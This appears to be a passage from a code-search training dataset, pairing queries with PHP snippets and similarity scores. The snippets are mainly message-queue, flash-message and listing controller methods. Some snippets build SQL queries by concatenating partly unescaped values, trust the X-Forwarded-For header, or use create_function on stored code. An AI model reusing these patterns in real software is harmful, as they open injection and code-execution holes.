$_POST[\"threadTitleInput\"]);\n\t\t\t$content \t\t= mysqli_real_escape_string($GLOBALS['connection'], $_POST[\"threadAddArea\"]);\n\n\t\t\tif (! isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {\n\t\t\t$client_ip = $_SERVER['REMOTE_ADDR'];\n\t\t\t}\n\t\t\telse {\n\t\t\t$client_ip = $_SERVER['HTTP_X_FORWARDED_FOR'];\n\t\t\t}\n\n\t\t\tif (strlen($newThreadTitle) \n\t\t\t< 3) {\n\t\t\techo 'Der Titel muss mindestens 3 Zeichen besitzen.';\n\t\t\treturn;\n\t\t\t};\n\n\t\t\tif (strlen($newThreadTitle) >\n\t\t\t200) {\n\t\t\techo 'Der eingegebene Titel ist zu lang. Er darf maximal 200 Zeichen beinhalten.';\n\t\t\treturn;\n\t\t\t};\n\n\t\t\tif (strlen($content) \n\t\t\t< 30) {\n\t\t\techo 'Ihr Beitrag muss mindestens 30 Zeichen besitzen.';\n\t\t\treturn;\n\t\t\t};\n\n\t\t\tif (strlen($content) >\n\t\t\t30000) {\n\t\t\techo 'Ihr Beitrag ist zu lang. Er darf maximal 30000 Zeichen beinhalten.';\n\t\t\treturn;\n\t\t\t};\n\n\t\t\tif (strlen(trim($content)) == 0) {\n\t\t\techo 'Ihr Beitrag darf nicht ausschließlich aus Leerzeichen bestehen!';\n\t\t\treturn;\n\t\t\t};\n\n\t\t\t$insertTime = time();\n\n\n\t\t\t$db->query(\"INSERT INTO $db->table_thread (main_forum_id, title, date_created, last_replyTime,last_post_author_id, posts, author_id) VALUES ('\".$actualBoard.\"', '\".$newThreadTitle.\"', '\".$insertTime.\"', '\".$insertTime.\"','\".$authorIDResult.\"', '0', '\".$authorIDResult.\"')\");\n\t\t\t$db->query(\"INSERT INTO $db->table_thread_posts (thread_id, author_id, date_posted, text) VALUES ((SELECT id FROM $db->table_thread WHERE id=(SELECT max(id) FROM $db->table_thread)), '\".$authorIDResult.\"', '\".$insertTime.\"', '\".$content.\"')\");\n\t\t\t$db->query(\"UPDATE $db->table_accdata SET post_counter=post_counter+1 WHERE account_id=(SELECT id FROM $db->table_accounts WHERE sid=('\".$_SESSION['ID'].\"'))\");\n\t\t\t$db->query(\"UPDATE $db->table_thread SET last_activity=0 WHERE last_activity=1 AND main_forum_id=('\".$actualBoard.\"')\");\n\n\t\t\t$token = mysqli_real_escape_string($GLOBALS['connection'], $_GET['token']);\n\n\t\t\t$tokenCheck = $db->query(\"SELECT token FROM $db->table_thread_saves WHERE token = ('\".$token.\"') AND user_id = (SELECT id FROM $db->table_accounts WHERE sid=('\" . $_SESSION['ID'] . \"'))\");\n\t\t\tif(isset($_GET['token']) && !empty($_GET['token']) && mysqli_num_rows($tokenCheck) >= 1) $db->query(\"DELETE FROM $db->table_thread_saves WHERE token = ('\".$token.\"') AND user_id = (SELECT id FROM $db->table_accounts WHERE sid=('\" . $_SESSION['ID'] . \"'))\");\n\n\t\t\t$rowSQL = $db->query( \"SELECT MAX( id ) AS max FROM $db->table_thread\" );\n\t\t\t$row = mysqli_fetch_array( $rowSQL );\n\t\t\t$largestNumber = $row['max'];\n\t\t\t$db->query(\"UPDATE $db->table_thread SET last_activity=1 WHERE last_activity=0 AND id=('\".$largestNumber.\"')\");\n\n\t\t\t$threadAddStatus = true;\n\t\t}\n\t\t\t$threadAddStatusArray = array(\n\t\t\t'threadAddStatus' => $threadAddStatus, \n\t\t\t'newThreadID' => $largestNumber\n\t\t\t);\n\t\t\t\n\t\t\t\treturn $threadAddStatusArray;\n\t}\n\telse\n\t\treturn;\n}",
"private function _message($message)\n {\n if ($this->_data->channel)\n {\n $this->_irc->message(SMARTIRC_TYPE_CHANNEL, $this->_data->channel, $message);\n }\n else {\n $this->_privmessage($message, $this->_data->nick);\n }\n\n \n }",
"public function attach(Message $message): void;",
"public function message($message);",
"public function add($message, $messageType = false) {\n if ( empty($this->_queue) ) {\n return false;\n }\n\n\t\tif(false === $messageType)\n\t\t{\n\t\t\t$crcMessageType = $this->_msgType;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$crcMessageType = sprintf(\"%u\", crc32($messageType));\n\t\t}\n\n\t\tif ( false === msg_send($this->_queue, $crcMessageType , $message, $this->_serialize, $this->_blockSend, $err) ) {\n $this->_lastError = $err;\n return false;\n }\n return true;\n }",
"public function addMessage(string $message): void\n {\n $this->errorMessages[] = $message;\n }",
"public function append(MessageInterface $message): void\n {\n $this->items[$message::class] = $message;\n }",
"public function addMessage($type, $value)\n {\n if (!$this->hasMessages($type)) {\n $_SESSION['_zikula_messages'][$type] = array();\n }\n $_SESSION['_zikula_messages'][$type][] = $value;\n }",
"protected function setMessage($message, $method, $line) {\n global $logger;\n self::$message .= $message;\n $logger->addInfo(sprintf('[%s - %s] %s', $method, $line, strip_tags($message)));\n }",
"public function addMessageToQueue($message, $queue)\n {\n $this->queue->putInTube($queue, $message);\n }",
"protected function addMessage($type,$message) \n { \n $this->flashMessenger()->setNamespace($type)->addMessage(array($type => $message));\n }",
"public function addMessage ($text, $type) {\n $array = array();\n if (isset($_SESSION['messages'])) {\n array_push($array, $text, $type);\n $_SESSION['messages'][] = $array;\n } else {\n array_push($array, $text, $type);\n $_SESSION['messages'] = array($array);\n }\n }",
"protected abstract function _message();",
"private function log_it($msg) {\n $this->log_msg_queue .= date('m/d/y H:i:s : ', time()) . $msg . PHP_EOL;\n }",
"public function create()\n {\n //\n $this->message->sendMessage();\n }",
"function thrive_dashboard_add_message($message)\n{\n $messages = get_option('td_messages', array());\n\n if (is_string($message)) {\n $message = array(\n 'text' => $message,\n 'css_class' => 'info'\n );\n }\n\n $messages[] = $message;\n update_option('td_messages', $messages);\n}",
"protected function addMessage(Request $request) {\n $message = new Message;\n\n $user = Participant::where([['user_id', Auth::user()->id], ['conversation_id', $request->conversation_id]])->first(['id']);\n if ($user == null)\n return ['saved' => false];\n\n $message->conversation_id = $request->conversation_id;\n $message->participant = $user->id;\n $message->body = $request->body;\n\n if ($message->save()) {\n $conversation = Conversation::find($message->conversation_id);\n $conversation->last_message = $message->created_at;\n $conversation->save();\n $message->conversation = $conversation;\n event(new MessageSent($message));\n return ['saved' => $message];\n }\n return ['saved' => false];\n }",
"public function addMessage($message, $status = null)\n {\n $messenger = $this->getMessenger();\n $messenger->addMessage($message, $status);\n\n return $this;\n }",
"protected function sendMessage($message) {\n if ($this->currentSite != $message->site_id) {\n $this->switchToSite($message->site_id);\n $this->currentSite = $message->site_id;\n $this->mailer = new MailerTool();\n }\n\n // Proceed as normal\n parent::sendMessage($message);\n }",
"public function addMessage($message, $type = self::MSG_SUCCESS)\n {\n $msg = new stdClass();\n $msg->type = $type;\n $msg->message = $message;\n\n return parent::addMessage($msg);\n }",
"public function add(object $function): void\n {\n $this->_threads[] = $function;\n }",
"public function add($id) \n {\n $log = FezLog::get();\n if (!array_key_exists($id,$this->_ids) || !$this->_ids[$id]) {\n $this->_ids[$id] = self::ACTION_ADD;\n $log->debug(\"Added $id to queue\");\n }\n }",
"public function setMessage( $message );",
"function message($message_id)\n\t{\n\t\t//echo '<pre>'.$this->MessageFunc.'</pre>';\n\t\t$func = create_function('$id,$text',$this->MessageFunc);\n\t\t\n\t\t$func($message_id,$this->forum_text[$message_id]);\n\t\treturn false;\n\t}",
"public function AddMessage( $message )\n {\n ART_Error::AddMessage( $message );\n\n echo \"<p id=\\\"error\\\">\" . $this->message . \"</p>\\n\";\n }",
"protected function addNotification($message)\n {\n $event = new NotificationEvent();\n $event->setMessage($message);\n \n $this\n ->eventDispatcher\n ->dispatch(NotificationEvent::NAME, $event)\n ;\n }",
"public function sendMessage(BotMessage $message): void;",
"public function addMessage($message, $label = 'info')\r\n {\r\n if ($this->hasCollector('messages')) {\r\n /** @var \\DebugBar\\DataCollector\\MessagesCollector $collector */\r\n $collector = $this->getCollector('messages');\r\n $collector->addMessage($message, $label);\r\n }\r\n }",
"public function withMessage(Message $message): void;",
"public function addStructure(Message $message)\n {\n $this->_messages[] = $message;\n\n }",
"public function isSpam(NewThreadMessage $message);",
"public function joinQueue($strMessage)\n {\n if(!$this->q->is_open) return $this->returnText('The queue'. $this->q->displayName .' is currently closed');\n if(!$this->u) throw new Exception(self::ERR_NO_USER);\n if(!$this->isAllowed($this->getUserLevel($this->q->user_level))) return $this->returnText('The queue'. $this->q->displayName .' is currently only open for \"'. $this->getUserLevel($this->q->user_level) .'s\"');\n if(strlen($strMessage) > 100) return $this->returnText('Error: Max length of user message is 100');\n\n $oQueueUser = QueueUser::where([\n ['user_id', '=', $this->u->id],\n ['queue_id', '=', $this->c->active]\n ])->first();\n\n if($oQueueUser)\n {\n if($oQueueUser->message != $strMessage)\n {\n $oQueueUser->message = $strMessage;\n $oQueueUser->save();\n return $this->returnText('You are already in queue'. $this->q->displayName .' (position #'. $this->getPosition($oQueueUser, false) .'), your queue message has been updated');\n }\n else return $this->returnText('You are already in queue'. $this->q->displayName .' (position #'. $this->getPosition($oQueueUser, false) .')');\n }\n else\n {\n if($this->q->max_users != 0)\n {\n $iQueryUsers = QueueUser::where([\n ['queue_id', '=', $this->c->active]\n ])->count();\n\n if($iQueryUsers >= $this->q->max_users) return $this->returnText('The queue'. $this->q->displayName .' is currently full, limit: '. $this->q->max_users);\n }\n\n $oQueueUser = QueueUser::create([\n 'user_id' => $this->u->id,\n 'queue_id' => $this->c->active,\n 'message' => $strMessage,\n 'user_level' => $this->getUserLevel($this->u->userLevel, true)\n ]);\n\n if($oQueueUser) return $this->returnText('Successfully added to queue'. $this->q->displayName . ', your position is #'. $this->getPosition($oQueueUser, false));\n }\n }",
"function addMessage($subject, $message, $recipient, $sender) {\r\n\t\t$time = time();\r\n\t\t$query = \"INSERT INTO \".TBL_MAIL.\" (UserTo, UserFrom, Subject, Message, SentDate, status) VALUES (:recipient, :sender, :subject, :message, '$time', 'unread')\";\r\n\t\t$stmt = $this->connection->prepare($query);\r\n\t\t$stmt->execute(array(':recipient' => $recipient, ':sender' => $sender, ':subject' => $subject, ':message' => $message));\r\n\t\t$result = $this->connection->lastInsertId();\r\n\t\tif(!$result){\r\n\t\t\treturn false; // failure\r\n\t\t} else {\r\n\t\t\treturn $result; // success\r\n\t\t}\r\n\t}",
"function sendMessageToQueue($messageObj){\n\tglobal $LAS_CFG;\n\t\n\t$daemon_host = $LAS_CFG->las_daemon_server['host'];\n\t$daemon_port = $LAS_CFG->las_daemon_server['port'];\n\t$daemon_url = 'tcp://'.$daemon_host.':'.$daemon_port;\n\t\n\t$client_timeout = $LAS_CFG->las_daemon_server['timeout'];\n\t\n\t$exchange_name = $LAS_CFG->message_server['taskQueue'];\n\t$new_routing_key = $exchange_name . $messageObj->routing_key;\n\t$messageObj->routing_key = $new_routing_key;\n\t\n\t// Convert JSON message to String\n\t$message = json_encode($messageObj);\n\t\n\t$server = new LasManager($daemon_url);\n\treturn $server->clientSendMessage($message, $client_timeout);\n}",
"public function notify_add($message, $type = \"info\"){\n\n\t\t$_SESSION[\"notify\"][\"messages\"][] = array(\"message\" => $message, \"type\" => $type, \"already_displayed\" => \"false\");\n\t}",
"function add_message($post)\n {\n date_default_timezone_set(\"ASIA/Manila\");\n $date = date('Y/m/d H:i:s');\n $query = 'INSERT INTO messages (user_id, message, created_at) \n VALUES (?, ?, ?)';\n $values = array($post['message_sender_id'], $post['message'], $this->security->xss_clean($date));\n return $this->db->query($query, $values);\n }",
"public function message( $msg ) {\n $this->message = $msg;\n return $this;\n }",
"private function _set_message($message)\n {\n // set message in $_message property\n $this->_message = $message;\n\n return;\n }",
"function sendNewMessage($dbh, $user, $message, $time)\n{\n // Retrieve user_id of logged in person:\n $query = \"SELECT user_id \n FROM users \n WHERE username = :username\";\n $stmt = $dbh->prepare($query);\n $stmt->execute(array('username' => $user));\n $row = $stmt->fetch();\n $user_id = $row['user_id'];\n \n // Add new message:\n $query = \"INSERT INTO messages (msg_id, user_id, message, time) \n VALUES (:msg_id, :user_id, :message, :time)\";\n $stmt = $dbh->prepare($query);\n $row = $stmt->execute(array('msg_id' => null, 'user_id' => $user_id, 'message' => $message, 'time' => $time));\n}",
"public function post($msg) {\r\n\t\tif (isset ( $_GET ['oauth_token'] )) {\r\n\t\t\t/* exchange the request token for access token */\r\n\t\t\t$key = $_COOKIE ['key'];\r\n\t\t\t$secret = $_COOKIE ['secret'];\r\n\t\t\t$result = $this->client->getAccessToken ( $key, $secret );\r\n\t\t\t$key = $result [\"oauth_token\"];\r\n\t\t\t$secret = $result [\"oauth_token_secret\"];\r\n\t\t\tif ($key) {\r\n\t\t\t\t\r\n\t\t\t\t/* access success, let's say something. */\r\n\t\t\t\t$this->client->programmaticLogin ( $key, $secret );\r\n\t\t\t\t//echo 'logged in.';\r\n\t\t\t\t$entry = new Zend_Gdata_Douban_BroadcastingEntry();\r\n\t\t\t\t$content = new Zend_Gdata_App_Extension_Content($msg);\r\n\t\t\t\t$entry->setContent ( $content );\r\n\t\t\t\t$entry = $this->client->addBroadcasting ( \"saying\", $entry );\r\n\t\t\t\t//echo '<br/>you just posted: ' . $entry->getContent ()->getText ();\r\n\t\t\t} else {\r\n\t\t\t\techo 'Oops, get access token failed';\r\n\t\t\t}\r\n\t\t} \r\n\r\n\t}"
]
| [
"0.6914015",
"0.6637188",
"0.66236454",
"0.6483661",
"0.6473002",
"0.6469106",
"0.6464247",
"0.6443553",
"0.6310407",
"0.6164875",
"0.6157698",
"0.5976622",
"0.5943417",
"0.59384084",
"0.5920622",
"0.5915884",
"0.5910542",
"0.5895265",
"0.587967",
"0.587395",
"0.584121",
"0.5808745",
"0.57986623",
"0.5769436",
"0.5756515",
"0.57512724",
"0.57482684",
"0.5742381",
"0.5734965",
"0.5729897",
"0.5692819",
"0.56674105",
"0.56041056",
"0.5601207",
"0.55837244",
"0.55820686",
"0.55723965",
"0.5555649",
"0.55475026",
"0.5538824",
"0.55337787",
"0.5526271",
"0.55142504",
"0.5508943",
"0.55082005",
"0.5490196",
"0.5443655",
"0.5426404",
"0.5410152",
"0.53990245",
"0.5384957",
"0.53541183",
"0.53361833",
"0.5328558",
"0.53113616",
"0.5305053",
"0.52905875",
"0.5290522",
"0.5289532",
"0.5286383",
"0.5285995",
"0.52853376",
"0.52819467",
"0.5276233",
"0.5268069",
"0.52667844",
"0.52588826",
"0.5251224",
"0.5250749",
"0.52435935",
"0.5222269",
"0.52172786",
"0.5210116",
"0.52101105",
"0.5205347",
"0.52028143",
"0.51931006",
"0.5186761",
"0.5182796",
"0.5173869",
"0.5166158",
"0.516535",
"0.515912",
"0.5150309",
"0.5146105",
"0.5144174",
"0.51390207",
"0.51375854",
"0.5137213",
"0.5124529",
"0.5122483",
"0.51175636",
"0.511032",
"0.5110019",
"0.51034117",
"0.5102427",
"0.5097522",
"0.509714",
"0.50900495",
"0.5084901",
"0.5079746"
]
| 0.0 | -1 |
Display a listing of the resource. | public function index()
{
$allrestaurants = Rest::lists('name','id');
$ct=Upcomingfood::all();
return view('add.upcomingfood')->withAllrestaurants($allrestaurants)->with('ct',$ct);
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function indexAction()\n {\n $limit = $this->Request()->getParam('limit', 1000);\n $offset = $this->Request()->getParam('start', 0);\n $sort = $this->Request()->getParam('sort', array());\n $filter = $this->Request()->getParam('filter', array());\n\n $result = $this->resource->getList($offset, $limit, $filter, $sort);\n\n $this->View()->assign($result);\n $this->View()->assign('success', true);\n }",
"public function listing();",
"function index() {\n\t\t$this->show_list();\n\t}",
"public function actionList() {\n $this->_getList();\n }",
"public function listAction()\n {\n $model = $this->_getPhotoModel();\n $entries = $model->fetchEntries($this->_getParam('page', 1));\n\n $this->view->url = 'http://' . $this->_request->getHttpHost() . $this->_request->getBaseUrl(); \n $this->view->paginator = $entries;\n }",
"public function index()\n {\n $items = Item::all();\n return ItemForShowResource::collection($items);\n }",
"public function index()\n {\n return Resource::collection(($this->getModel())::paginate(10));\n }",
"function index()\n\t{\n\t\t$this->_list();\n\t\t$this->display();\n\t}",
"public function listingAction(){\n if (!LoginHelper::isAdmin()){\n Router::redirect('home', '<p class=\"alert alert-danger\">Unauthorized</p>');\n }\n $this->view->render('patient/list', Patient::all());\n }",
"public function index()\n {\n //\n $list = $this->obj->all();\n\n return $this->render('index', compact('list'));\n }",
"public function action_index()\n\t{\n\t\t$this->template->title = 'Resources';\n\t\t$this->view = View::factory('admin/resource/index');\n\t\t$this->template->scripts[] = 'media/js/jquery.tablesorter.min.js';\n\t\t$this->template->scripts[] = 'media/js/admin/resource.js';\n\t\t\n\t\t$resources = Sprig::factory('resource')->load(NULL, FALSE);\n\t\tif (!empty($resources))\n\t\t{\n\t\t\t$this->view->resources = $resources->as_array();\n\t\t}\n\t}",
"function listing()\n\t\t{\n\t\t// en $this->_view->_listado para poder acceder a el desde la vista.\n\t\t\t$this->_view->_listado = $listado = $this->_instrumentoModel->getInstrumento();\n\t\t\t$this->_view->render('listing', '', '',$this->_sidebar_menu);\n\t\t}",
"public function listAction()\n {\n $em = $this->getDoctrine()->getManager();\n \n $todos = $em->getRepository(Todo::class)->findAll();\n \n return $this->render('todo/index.html.twig', array(\n 'todos' => $todos,\n ));\n }",
"public function index()\n\t{\n $this->authorize('list', Instance::class);\n\n\t\treturn $this->ok($this->repo->paginate($this->request->all()));\n\t}",
"public function actionRestList() {\n\t $this->doRestList();\n\t}",
"public function listing()\n\t{\n\t\t$hospitalID = $this->request->getSession()->read(\"hospital_id\") ? $this->request->getSession()->read(\"hospital_id\") : \"\";\n\t\t\n\t\t$patientMonitored = 1;\n\t\t$patientActive = 1;\n\t\t\n\t\t//GET ALL PATIENTS\n\t\t$patientsData = $this->Patients->allPatients($hospitalID,$patientMonitored,$patientActive);\n\t\t//GET ALL PATIENTS\n\t\t\n\t\t//echo \"<pre>\"; print_r($patientsData);die;\n\t\t$this->set(compact(\"patientsData\"));\n\t}",
"public function listAction()\n {\n $htmlpage = '<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <title>todos list!</title>\n </head>\n <body>\n <h1>todos list</h1>\n <p>Here are all your todos:</p>\n <ul>';\n \n $em = $this->getDoctrine()->getManager();\n $todos = $em->getRepository(Todo::class)->findAll();\n foreach($todos as $todo) {\n $htmlpage .= '<li>\n <a href=\"/todo/'.$todo->getid().'\">'.$todo->getTitle().'</a></li>';\n }\n $htmlpage .= '</ul>';\n\n $htmlpage .= '</body></html>';\n \n return new Response(\n $htmlpage,\n Response::HTTP_OK,\n array('content-type' => 'text/html')\n );\n }",
"public function index()\n {\n // Get Persons\n $person = Person::paginate(10);\n\n //Return collection of person as a resource\n return PersonResource::collection($person);\n }",
"public function listAction() {\n\t\t$this->view->title = $this->translator->translate(\"Invoice list\");\n\t\t$this->view->description = $this->translator->translate(\"Here you can see all the invoices.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"/admin/invoices/new/\", \"label\" => $this->translator->translate('New'), \"params\" => array('css' => null)));\r\n\t\t$this->datagrid->setConfig ( Invoices::grid() )->datagrid ();\n\t}",
"public function listAll()\n\t{\n\t\t$this->render(self::PATH_VIEWS . '/list', [\n\t\t\t'pages' => $this->pagesDb->findAll('id', 'DESC'),\n\t\t]);\n\t}",
"public function list()\n {\n // récupérer les données : toutes les catégories enregistrées\n $productList = Product::findAll();\n\n $this->show('product/list', [\n 'productList' => $productList\n ]);\n }",
"public function index()\n {\n // CRUD -> Retrieve --> List\n // BREAD -> Browse Read Edit Add Delete\n // return Item::all();\n return view('list_items',compact('items'));\n }",
"public function index()\n {\n // Get manufacturers\n $manufacturers = Manufacturer::orderBy('created_at', 'desc')->paginate(15);\n\n // Return collection of manufacturers as a resource\n return ManufacturerResource::collection($manufacturers);\n }",
"public function index()\n {\n return ArtistResource::collection(Artist::orderBy('created_at', 'desc')->get());\n }",
"public function indexAction() {\n\t\t$page = intval($this->getInput('page'));\n\t\t$perpage = $this->perpage;\n\t\t\n\t\tlist(,$files) = Lock_Service_FileType::getAllFileType();\n\t\t$data = array();\n\t\tforeach ($files as $key=>$value) {\n\t\t\t$data[$key]['id'] = $value['id'];\n\t\t\t$data[$key]['title'] = $value['name'];\n\t\t}\n\t\tlist($total, $filetype) = Lock_Service_FileType::getList($page, $perpage);\n\t\t$this->assign('filetype', $filetype);\n\t\t$this->assign('pager', Common::getPages($total, $page, $perpage, $this->actions['listUrl'].'/?'));\n\t\t$this->assign('data', json_encode($data));\n\t}",
"public function listAction()\n {\n $qb = $this->getRepository()->queryAll();\n\n $view = new ImportListView;\n $view->imports = $qb->getQuery()->execute();\n\n return $this->templating->renderResponse('InfiniteImportBundle:Import:list.html.twig', array(\n 'data' => $view\n ));\n }",
"public function index()\n\t{\n\t\t//Return model all()\n\t\t$instances = $this->decorator->getListingModels();\n\n\t\treturn View::make($this->listingView, array(\n\t\t\t'instances' => $instances,\n\t\t\t'controller' => get_class($this), \n\t\t\t'modelName' => class_basename(get_class($this->decorator->getModel())),\n\t\t\t'columns' => $this->getColumnsForInstances($instances),\n\t\t\t'editable' => $this->editable\n\t\t));\n\t}",
"public function index()\n {\n return InfografiResources::collection(\n Infografi::orderBy('date', 'desc')->get()\n );\n }",
"public function listAction()\n\t {\n\t\t\t$this->_forward('index');\n \n\t\t}",
"public function index()\n {\n $this->list_view();\n }",
"public function index()\n {\n $this->list_view();\n }",
"public function index()\n {\n $this->list_view();\n }",
"public function listAction()\n {\n $defaults = array(\n 'page' => null,\n 'order' => null,\n 'limit' => null,\n 'offset' => null,\n 'filter' => array(),\n );\n $body = $this->getRequest()->getBody();\n $options = $body + $defaults;\n\n // Process the options\n if (is_string($options['order'])) {\n $options['order'] = array_map('trim', explode(',', $options['order']));\n }\n if (is_string($options['page'])) {\n $options['page'] = (int)$options['page'];\n }\n if (is_string($options['limit'])) {\n $options['limit'] = (int)$options['limit'];\n }\n if (is_string($options['offset'])) {\n $options['offset'] = (int)$options['offset'];\n }\n $filter = $options['filter'];\n unset($options['filter']);\n\n $options = array_filter($options);\n\n return $this->getBinding()->find($filter, $options);\n }",
"public function index()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the resources from the model */\n $resources = $this->resourcesList($this->model);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.index\")) {\n $view = \"admin.{$this->name}.index\";\n } else {\n $view = 'admin.includes.actions.index';\n }\n\n /* Display a listing of the resources */\n return view($view)\n ->with('resources', $resources)\n ->with('module', $this->module);\n }",
"public function index()\n\t{\n\t\t$data['lists'] = $this->mdl_student->get_all();\n\t\t$this->template->set('title', 'Student Hostel List');\n\t\t$this->template->load('template', 'contents', 'student_hostel/student_hostel_list', $data);\n\t}",
"public function index()\n {\n $modules = Module::all();\n return Resource::collection($modules);\n }",
"public function index()\n {\n // List all resources from user entity\n $users = User::all();\n\n return $this->showAll($users);\n }",
"public function index()\n {\n // Get todos\n $todos = Todo::orderBy('created_at', 'desc')->paginate(3);\n\n // Return collection of articles as a resource\n return TodoResource::collection($todos);\n }",
"public function index()\n {\n return Resources::collection(Checking::paginate());\n }",
"public function index()\n {\n return CourseListResource::collection(\n Course::query()->withoutGlobalScope('publish')\n ->latest()->paginate()\n );\n }",
"public function index()\n {\n $cars = Car::paginate(15);\n return CarResource::collection($cars);\n }",
"public function index()\n {\n // Get articles\n $articles = Article::orderBy('created_at', 'desc')->paginate(5);\n\n // Return collection of articles as a resource\n return ArticleResource::collection($articles);\n }",
"public function index()\n {\n $authors = Author::paginate(10);\n\n return AuthorResource::collection($authors);\n }",
"public function index()\n {\n //Get Books\n $books = Book::paginate(10);\n \n if ($books) {\n return (BookResource::collection($books))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n } else {\n return (BookResource::collection([]))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n }\n return view('index')->with('data', $books);\n }",
"public function view(){\n\t\t$this->buildListing();\n\t}",
"public function index()\n {\n $books = Book::latest()\n ->paginate(20);\n\n return BookResource::collection($books);\n }",
"public function index()\n {\n $listing = Listing::orderBy('id', 'desc')->paginate(10);\n return view('listings.index')->withListings($listing);\n }",
"public function listAction()\n {\n $this->_getSession()->setFormData([]);\n\n $this->_title($this->__('Training Cms'))\n ->_title($this->__('Pages'));\n\n $this->loadLayout();\n\n $this->_setActiveMenu('training_cms');\n $this->_addBreadcrumb($this->__('Training Cms'), $this->__('Training Cms'));\n $this->_addBreadcrumb($this->__('Pages'), $this->__('Pages'));\n\n $this->renderLayout();\n }",
"public function index()\n {\n $services = $this->serviceRepository->paginate();\n\n return ServiceResource::collection($services);\n }",
"public function index()\n {\n $resources = ResourceManagement::paginate(5);\n $users = User::get();\n\n return view('resources-mgmt/index', ['resources' => $resources, 'users' => $users]);\n }",
"public function index()\n {\n $catalogs = Catalog::where('status', '=', Catalog::PUBLICADO)\n ->orderBy('id', 'DESC')->get();\n \n $data = CatalogResource::collection($catalogs);\n\n return [\n 'items' => $data,\n 'mensaje' => ''\n ];\n }",
"public function listAction(){\n // In a controller this can be:\n // $this->request->getQuery('page', 'int'); // GET\n $currentPage = $this->request->getPost('pageindex', 'int'); // POST\n $pageNum = ($currentPage == null) ? 1 : $currentPage;\n\n // The data set to paginate\n $message = new Notice();\n $results = $message->getMsg4Admin();\n\n // Create a Model paginator, show 10 rows by page starting from $currentPage\n $paginator = new PaginatorArray(\n array(\n \"data\" => $results,\n \"limit\" => 10,\n \"page\" => $pageNum\n )\n );\n\n // Get the paginated results\n $page = $paginator->getPaginate();\n\n return $this->response->setJsonContent($page);\n\n }",
"public function list()\n {\n try {\n return $this->success($this->service->list());\n } catch (\\Exception $exception) {\n return $this->error($exception->getMessage());\n }\n }",
"public function index()\n {\n return $this->sendResponse(CrisisResource::collection(Crisis::paginate(10)), 'Data fetched successfully');\n }",
"public function index()\n\t{\n\t\t$%Alias = new %Model();\n\t\t$params = array();\n\t\t\n\t\t$Paginator = new Paginator( $%Alias->findSize( $params ), $this->getLimit(), $this->getPage() );\n\t\t$this->getView()->set( '%Aliass', $%Alias->findList( $params, 'Id desc', $this->getOffset(), $this->getLimit() ) );\n\t\t$this->getView()->set( 'Paginator', $Paginator );\n\t\treturn $this->getView()->render();\n\t}",
"public function listAction() {}",
"public function index()\n {\n\n return RecipeResource::collection(Recipe::all());\n }",
"public function index()\n {\n $this->indexPage('list-product', 'List Product');\n }",
"public function listAction()\n {\t\n\t\t$this->removeSession();\n\t\t$this->verifySessionRights();\n\t\t$this->setActivity(\"List view\");\n $em = $this->getDoctrine()->getManager();\n $oRepClient = $em->getRepository('BoAdminBundle:Client');\n\t\t$nb_tc = $oRepClient->getTotal();\n\t\t//get page\n\t\t$page = $this->get('session')->get('page');\n\t\tif($page==null){\n\t\t\t$page=1;\n\t\t\t$this->get('session')->set('page',1);\n\t\t}\n\t\t//get number line per page\n\t\t$nb_cpp = $em->getRepository('BoAdminBundle:Param')->getParam(\"display_list_page_number\",1);\n\t\t$nb_pages = ceil($nb_tc/$nb_cpp);\n\t\t$offset = $page>0?($page-1) * $nb_cpp:0;\n\t\t$clients = $em->getRepository('BoAdminBundle:Client')->findBy(array(),array('id' => 'desc'),$nb_cpp,$offset);\n $form = $this->createForm('Bo\\AdminBundle\\Form\\ClientType', new Client());\n return $this->render('client/index.html.twig', array(\n 'clients' => $clients,\n\t\t\t'page' => $page, // forward current page to view,\n\t\t\t'nb_pages' => $nb_pages, //total number page,\n 'form' => $form->createView(),\n\t\t\t'total'=>$nb_tc, // record number.\n\t\t\t'nb_cpp' => $nb_cpp,// line's number to display\n\t\t\t'pm'=>\"contracts\",\n\t\t\t'sm'=>\"client\",\n ));\n }",
"public function index()\n {\n return AcResource::collection(Ac::latest()->paginate()); //\n }",
"public function executeList()\n {\n $this->setTemplate('list');\n }",
"public function indexAction()\n {\n $books = Book::getAll();\n\n View::renderTemplate('Books/index.html', [\n 'books' => $books\n ]);\n }",
"function listing() {\r\n\r\n }",
"public function listar() {\n $rs = $this->model->listar();\n\n echo $this->toJson($rs);\n }",
"public function index()\n {\n return BookResource::collection(Book::orderby('id')->get());\n }",
"public function doRestList()\n {\n $this->outputHelper( \n 'Records Retrieved Successfully', \n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->orderBy($this->restSort)->limit($this->restLimit)->offset($this->restOffset)->findAll(),\n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->count()\n );\n\t}",
"public function index()\n {\n $client = Client::paginate();\n return ClientResource::collection($client);\n }",
"public function index()\n {\n return TagResource::collection(\n Tag::orderBy('name', 'ASC')->paginate(request('per_page', 10))\n );\n }",
"public function _index(){\n\t $this->_list();\n\t}",
"public function index()\n\t{\n\t\t$data['lists'] = $this->gallery_mdl->get_all();\n\t\t$this->template->set('title', 'Gallery');\n\t\t$this->template->render('template', 'list', $data);\n\t}",
"function drush_restapi_list() {\n\n $resources = restapi_get_resources();\n $last_module = NULL;\n $rows = [\n [dt('Module'), dt('Path'), dt('Class')],\n ];\n\n foreach($resources as $resource) {\n if ($last_module != $resource->getModule()) {\n $module = $last_module = $resource->getModule();\n }\n else {\n $module = '';\n }\n $rows[] = [$module, $resource->getPath(), $resource->getClass()];\n }\n\n drush_print_table($rows, TRUE);\n drush_log(dt('Displaying !count total resources', [\n '!count' => count($resources),\n ]), 'ok');\n\n}",
"public function index()\n {\n $this->booklist();\n }",
"public function index()\n {\n //\n $accounts = accounts::paginate(15);\n\n //return the collection of employees as a resource\n return accountResource::collection($accounts);\n\n\n }",
"public function index()\n {\n $items = Item::all();\n return view('items::list_items',compact('items'));\n }",
